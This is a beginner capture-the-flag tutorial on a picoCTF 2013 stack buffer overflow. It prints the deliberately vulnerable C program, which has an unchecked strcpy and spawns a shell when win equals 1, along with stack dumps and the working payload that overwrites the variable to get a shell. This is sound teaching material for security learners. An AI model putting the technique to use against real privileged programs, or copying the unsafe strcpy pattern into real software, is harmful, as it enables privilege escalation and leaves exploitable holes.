Credit to Picoctf 2013 for the binary and source used here.
Now that you've gotten your feet wet with binaries, it's time to dive in to exploitation with the stack. Consider the file overflow1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"
void vuln(int tmp, char *str) {
int win = tmp;
char buf[64];
strcpy(buf, str);
dump_stack((void **) buf, 23, (void **) &tmp);
printf("win = %d\n", win);
if (win == 1) {
execl("/bin/sh", "sh", NULL);
} else {
printf("Sorry, you lose.\n");
}
exit(0);
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: stack_overwrite [str]\n");
return 1;
}
uid_t euid = geteuid();
setresuid(euid, euid, euid);
vuln(0, argv[1]);
return 0;
}
You can tell just by reading through this file that the obvious objective here is to make win == 1
a true statement, but we're going to ignore that for a few minutes to learn about the stack. The stack is dynamic memory that the program uses to store addresses, arguments, and all sorts of other goodies.
Here's an example stack dump:
$ ./overflow1-3948d17028101c40
Usage: stack_overwrite [str]
$ ./overflow1-3948d17028101c40 AAAA
Stack dump:
0xffd48bf4: 0xffd4a89b (second argument)
0xffd48bf0: 0x00000000 (first argument)
0xffd48bec: 0x0804870f (saved eip)
0xffd48be8: 0xffd48c18 (saved ebp)
0xffd48be4: 0xf7720000
0xffd48be0: 0xf762caa7
0xffd48bdc: 0x00000000
0xffd48bd8: 0xffd48c44
0xffd48bd4: 0xf7744500
0xffd48bd0: 0xffd48c18
0xffd48bcc: 0x00000000
0xffd48bc8: 0x00000000
0xffd48bc4: 0xf7720000
0xffd48bc0: 0xffffffff
0xffd48bbc: 0xf760b216
0xffd48bb8: 0x000000c2
0xffd48bb4: 0xf757f698
0xffd48bb0: 0xf7751938
0xffd48bac: 0xf762cad4
0xffd48ba8: 0x000003e8
0xffd48ba4: 0x000003e8
0xffd48ba0: 0xffd48c00
0xffd48b9c: 0x41414141 (beginning of buffer)
win = 0
Sorry, you lose.
Now if you know a thing or two about ASCII, you'll know that 0x41
is the value of the character A
. At the bottom of the stack dump, you'll notice that the beginning of the buffer contains 0x41414141
, or our four A
's. Now we can run it again, only this time we'll store a few more A
's. Pay attention to the addresses on the left :)
/overflow1-3948d17028101c40 $(python -c 'print "A"*76')
Stack dump:
0xfff577d4: 0xfff58853 (second argument)
0xfff577d0: 0x00000000 (first argument)
0xfff577cc: 0x0804870f (saved eip)
0xfff577c8: 0xfff57700 (saved ebp)
0xfff577c4: 0x41414141
0xfff577c0: 0x41414141
0xfff577bc: 0x41414141
0xfff577b8: 0x41414141
0xfff577b4: 0x41414141
0xfff577b0: 0x41414141
0xfff577ac: 0x41414141
0xfff577a8: 0x41414141
0xfff577a4: 0x41414141
0xfff577a0: 0x41414141
0xfff5779c: 0x41414141
0xfff57798: 0x41414141
0xfff57794: 0x41414141
0xfff57790: 0x41414141
0xfff5778c: 0x41414141
0xfff57788: 0x41414141
0xfff57784: 0x41414141
0xfff57780: 0x41414141
0xfff5777c: 0x41414141 (beginning of buffer)
win = 1094795585
Sorry, you lose.
This shell command: $(python -c 'print "A"*76')
tells python to print out the A
character 76 times.
Notice that the addresses on the left are completely different than the first run. This is normal, and due to something called ASLR
, or Address Space Layout Randomization. Most modern OSes have ASLR
enabled, which is protection that randomizes stack addresses on each run of a program.
Now, you might notice that win = 1094795585
according to the stack dump. What just happened?
Back to the source:
char buf[64];
strcpy(buf, str);
strcpy()
is a dangerous function!
Our buffer only holds 64 bytes, however, the buffer we ask to be copied contains 76 bytes. strcpy()
doesn't care about checking lengths, so the extra 12 bytes that don't fit just get thrown onto the stack.
The value of win
was stored right next to our buffer, so next let's try to set the value of win
to 1
.
This is where things get a bit tricky...
We need to be careful not to confuse characters and integers. The character 1
is 0x30
in hex, but the integer 1
is 0x1
in hex (Note that this is not printable.)
We want to set win
equal to the integer representation of 1
, not the character representation of 1
.
Since win
is right after our buffer on the stack, we can just write 64 A
's in character format, followed by a single "\x01"
to our buffer. This will leak the last byte (0x01
) of the buffer we wrote to where win
is stored, setting win = 1
.
$ ./overflow1-3948d17028101c40 $(python -c 'print "A"*64 + "\x01"')
Stack dump:
0xffe29f04: 0xffe2b85e (second argument)
0xffe29f00: 0x00000000 (first argument)
0xffe29efc: 0x0804870f (saved eip)
0xffe29ef8: 0xffe29f28 (saved ebp)
0xffe29ef4: 0xf7760000
0xffe29ef0: 0xf766caa7
0xffe29eec: 0x00000001
0xffe29ee8: 0x41414141
0xffe29ee4: 0x41414141
0xffe29ee0: 0x41414141
0xffe29edc: 0x41414141
0xffe29ed8: 0x41414141
0xffe29ed4: 0x41414141
0xffe29ed0: 0x41414141
0xffe29ecc: 0x41414141
0xffe29ec8: 0x41414141
0xffe29ec4: 0x41414141
0xffe29ec0: 0x41414141
0xffe29ebc: 0x41414141
0xffe29eb8: 0x41414141
0xffe29eb4: 0x41414141
0xffe29eb0: 0x41414141
0xffe29eac: 0x41414141 (beginning of buffer)
win = 1
$ ls
overflow1-3948d17028101c40 overflow1-3948d17028101c40.c README.md
$ exit
If you try this for yourself, you'll get a shell. You've now sucessfully executed a buffer overflow attack!